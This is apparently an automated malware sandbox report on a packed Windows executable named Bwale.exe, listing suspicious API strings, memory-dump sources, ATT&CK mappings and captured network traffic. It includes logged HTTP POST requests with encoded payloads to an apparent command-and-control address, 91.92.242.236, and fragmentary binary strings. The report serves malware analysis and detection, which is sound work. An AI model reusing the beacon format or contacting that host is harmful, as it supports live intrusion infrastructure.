mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp"), Found api reference " locked to thread synctest bubble runtime.semacreateruntime.semawakeup298023223876953125value out of rangebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad index gp->atomicstatus=marking free object KiB work (eager) [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI description14901161193847656257450580596923828125invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp"), Found api reference "exit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found api reference "unsafe.String: len out of range11368683772161602973937988281255684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found api reference "unsafe.String: len out of range11368683772161602973937988281255684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00008164.00000000.199439.00D00000.00000004.mdmp") Found api reference "runtime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")3d:T1197,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "Process32First"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "9089026184,7024,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:51:51.406",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00007864.00000000.199196.006D1000.00000004.mdmp") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp")3e:T4b2,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp")3f:T6e8,file/memory contains long string with (Indicator: "wsastartup"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "wsacleanup"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "gethostbyname"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: " send "; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "ile System Bind Data" (Indicator: " bind "; Source: "00000000-00007864.00000000.199196.00739000.00000004.mdmp") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")40:Tbfe,file/memory contains long string with (Indicator: "GetUserName"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")41:T541,file/memory contains long string with (Indicator: "DeleteFile"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "RemoveDirectory"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "RemoveDirectory"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") file/memory contains long string with (Indicator: "RemoveDirectory"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")42:T6c5,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "GetProcAddress"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")43:T4f6,Found string "etUserNameExW" (Source: "00000000-00007864.00000000.199196.00739000.00000004.mdmp") file/memory contains long string(Source: "00000000-00007864.00000000.199196.01231000.00000002.mdmp") Found string "GetUserNameA" (Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found string "ystem.Identity.QualifiedUserName" (Source: "00000000-00007864.00000000.199196.28240000.00000002.mdmp") Found string "ystem.Identity.UserName" (Source: "00000000-00007864.00000000.199196.28240000.00000002.mdmp") Found string "ystem.UserName" (Source: "00000000-00007864.00000000.199196.28240000.00000002.mdmp") Found string "System.Identity.UserName" (Source: "00000000-00007864.00000000.199196.282A0000.00000002.mdmp") Found string "System.Identity.QualifiedUserName" (Source: "00000000-00007864.00000000.199196.282A0000.00000002.mdmp") Found string "System.UserName" (Source: "00000000-00007864.00000000.199196.282A0000.00000002.mdmp") Found string "GetUserNameA" (Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") file/memory contains long string(Source: "00000000-00008164.00000000.199439.01331000.00000002.mdmp")44:T449," "st=s" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 17 Apr 2026 23:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /oPvjr94jfe/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 91.92.242.236 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=7FF86E7666E1345312F5972F8DDFD87172C1DF3020A77997E140882BC81F2FC6415F735D67873AAD938678F867971CF4B22BE709308AFC24F40CF1C5D2879ED1286CCA031C6CBBD5E9ED381678F36DA266C24F593492BA" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 17 Apr 2026 23:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E31303030303033303130312B2B2B37656538323033353639666632663135346562366336333264623837383532383637393438363761373265643235....... "POST /oPvjr94jfe/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 91.92.242.236 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=10000030101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 17 Apr 2026 23:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /oPvjr94jfe/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 91.92.242.236 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=10000170100&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 17 Apr 2026 23:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /oPvjr94jfe/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 91.92.242.236 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e1=10000270111&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Fri 17 Apr 2026 23:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E.......46:T8ab,Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007864.00000000.199196.04F80000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00008164.00000000.199439.00400000.00000040.mdmp, 00000000-00008164.00000000.199439.05480000.00000004.mdmp, 00000000-00008164.00000000.199439.05500000.00000004.mdmp")47:Td2b,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007864.00000000.199196.00680000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00008164.00000000.199439.00D00000.00000004.mdmp\")","id":"string-320","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to pass information to a window procedure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"General","description":"\"site.com\"","id":"network-0","level":"informative","mitre_attack_id":"T1071","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"General","description":"$3a","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"General","description":"\"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\" has an writable section named \".data\"\n \"6bc3a6a1c3f7f9663f507c45252fe476cfdbc07d20cc5f2180a366675042e375.bin\" has an writable section named \".idata\"\n \"Bwale.exe\" has an writable section named \".data\"\n \"Bwale.exe\" has an writable section named \".idata\"","id":"static-95","level":"informative","name":"PE file contains writable sections","origin":"Static Parser","sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\" tE!\"\n \"Bwale.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","id":"static-18","level":"informative","mitre_attack_id":"T1027.002","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"69e2c16616454c418f0919c3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"Bwale.exe\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 6 sections\"- Location: [%TEMP%\\adb7f46c0c\\Bwale.exe]- [targetUID: 00000000-00008164]\n \"Bwale.exe.bin\" has type \"PE32 executable for 